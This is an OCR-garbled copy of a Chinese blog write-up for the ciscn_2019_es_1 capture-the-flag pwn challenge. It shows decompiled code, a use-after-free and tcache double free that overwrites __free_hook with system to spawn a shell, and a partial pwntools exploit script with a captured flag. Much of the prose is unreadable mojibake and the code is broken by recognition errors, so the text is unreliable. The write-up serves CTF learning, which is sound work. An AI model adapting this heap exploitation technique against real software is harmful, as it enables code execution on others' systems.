ciscn_2019 es 1

mOsway o T 2022-04-20 17:44:30 K Aii o 82 ﬁ AR

7r2EF: BUU-WP S EfR%::  pwn python CTF WriteUp M 4% %42

FRALR B ASCONT R A E, 495 CC 4.0 BY-SA RN, 354805 I _EJE ST H AL BERE AAS 5 1
ACHERE: https://blog.csdn.net/mOsway/article/details/124303187

FERAL

E BUU-WP & IR iZ A %5

57 J3CE 0T
B L
ciscn_2019 es_1

{iF checksec A% :

ciscn 2019 es 1
[ ] '/home/mO@sway/pwn/buu/ciscn 2019 es 1°'
Arch: amd64-64-1little
RELRO:

Stack:
NX:
PIE:

IFRIKETIT, BRAEHEE, SPITIER:



https://blog.csdn.net/m0sway
https://blog.csdn.net/m0sway/category_11492372.html
https://so.csdn.net/so/search/s.do?q=pwn&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=python&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=WriteUp&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E7%25BB%259C%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/m0sway/article/details/124303187
https://blog.csdn.net/m0sway/category_11492372.html

HERTC R, FIHEIDAF 73 At

:menu()!
__1s50c99_scanf("%d", &v3);

getchar();
if (v3 1=2)

show("%d", &V3)I
¥

ifF (V3> 2)

{
if ( v3 == 3 )

¢ call();l
i

else

{

{

if ((v3 ==4)
{
puts(“Jack Ma doesn't like you~");
exit(9);
}
LABEL_14:
puts(“Wrong");
}
}
else
{
if ( v3 = )
goto EL_14; )

FEFREMRER LA EL — AT Hr.

B E menu() :
unsigned __int64 menu()
{
unsigned __int64 v@; // STeE 8
vB = __readfsqword(ex28u);
pUtS ( "z=z===================="" ) 3
puts("How are you ~~~~\nBy the way,i don't want 996 !");
puts(“1.Add a 996 info");
puts("2.Show info");
puts("3.Call that 996 compary!");
puts(“4.I hate 996!");
printf("choice:");
return __readfsqword(@x28u) ~ vo;
} CSDN @mOsway
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add() :

unsigned _ int64 add()

{

int ve; // STe4 4

void **v1; // STe8_8

size_t size; // [rsp+16h] [rbp-38h]
unsigned __inté4 v4; // [rsp+38h] [rbp-8h]
v4d = __readfsqword(ex28u);
if ( heap_number > 12 )

{

puts(“Enough!™);

exit(e);

¥

ve = heap_number;

heap_addr[ve] = (void **)malloc(@x18uLL);
puts(“Please input the size of compary's name");
__is0c99_scanf("%d", &size);

*((_DWORD *)heap_addr[heap_number] + 2) = size;

vl = heap_addr[heap_number];

*vl = malloc((unsigned int)size);

puts("please input name:");

read(®, *heap_addr[heap_number], (unsigned int)size);
puts("please input compary call:");

read(®@, (char *)heap_addr[heap_number] + 12, ©xCulLlL);
*((_BYTE *)heap_addr[heap_number] + 23) = 8;
puts(“Done!™);

++heap_number;

return __readfsqword(@x28u) ~ v4;
CSDN @mOsway

® heap_addr[ve] = (void **)malloc(@x18ulLL); : F&/7icitsr H A4~/ A exas [fichunk
e *((_DWORD *)heap_addr[heap_number] + 2) = size; {#/ilname chunk[{]size

e *vl = malloc((unsigned int)size); : f#Jilname chunk[fJfH%F



show() :

unsigned __int64 show()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(©x28u);
puts(“Please input the index:");
__1s0c99_scanf("%d"™, &v1);
getchar();
if ( heap_addr[v1] )
{
puts("name:");
puts((const char *)*heap_addr[vl]);
puts(“phone:™);
puts((const char *)heap_addr[vl] + 12);
¥
puts("Done!");

return __readfsqword(@x28u) *~ v2;
} CSDMN @mOsway

e *heap_addr[vi] f£ /) /Ename

e *heap addr[vl] + 12 {7[1J/&phone
call() :

unsigned __inté4 call()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(@x28u);
puts("Please input the index:");
__isoc99_scanf("%d", &v1);
if (vl < @ & vl > 12 )
exit(e);
if ( heap_addr[vi] )
free(*heap_addr[v1]);
puts("You try it!");
puts(“Done");
return __readfsqword(@x28u) "~ v2;
} CSDN @mOsway
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B 5% [EUAF. double free

e fi|Hunsorted binzxAlibcIEhk

e FlFfdouble freechunk H 35 ["iname chunk#g4 &MU 45 Irifree_hook

& BRIGHT

& free_hook Asystem@got

PiATfree Bl 21T system

H AL A A F unsorted bin3kElibeit

XA H FI R Elibe2.27, Bt bAfEfEtcache L], 753 4eidtcache LK chunki Aunsorted bin
[X Aytcache i KK /N2 0x400 , fir bl X 75 Hi i K T-0x400 (1 chunksh 1] LLEEI

R4 unsorted bin [FFE,  fd Fl bk 484t #4x4E ] main_arena + 96/t

parseheap

0x55b292938000
0x55b292938250
0x55b292938270
0x55b292938690
0x55b2929386b0
0x55b2929386€0
0x55b292938700

R A EUAR TR, chunkOfIFE4FHIELE, show(0)R] LUK main_arena + 96 Hihik45iitaz Hisk
P H _ malloc_hook M4 bk, _ free_hook HilibFl system@got kil

malloc_hook_addr
base_addr

free_hook

system_addr

malloc_hook_addr
base_addr

base_addr

ub4(r.recvuntil 96-0x10
libc.symbols
libc.symbols

libc.symbols

None
None
Ox7feabbB8eecal
None
None
None
None

None
None
Ox7feabbB8eecal
None
None

None
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«— 0x55ab9%aa33290

CSDN @mQOsway,

¥ free_hook fEN system@got
234 ~name chunk1 %54 /bin/sh\x00 i}, #47 free(name chunk) RIJ&3AT system('/bin/sh")

[] Switching to interactive mode

cat flag
flag{d8055035-1e3b-4846-adfa-6d8fc760cf2b}

5E & exp



from pwn import

remote( ,28244)

def add(size,name,compary):
.sendlineafter( 5
.sendlineafter( (size)))
.sendafter( ,hame)

.sendafter( ,compary)
def show(idx):
r.sendlineafter(
r.sendlineafter(
def delete(idx):

r.sendlineafter(
r.sendlineafter(

delete(9)

show(9)

malloc_hook_addr ub4(r.recvuntil( )[-6:].1just(8,
base_addr = malloc_hook_addr libc.symbols|

base_addr + libc.symbols[
base_addr + libc.symbols[

add (0x20, p64(free_hook),

add (0x20, 5 )
add (0x20, p64(system_addr),

()

))-96-0x10
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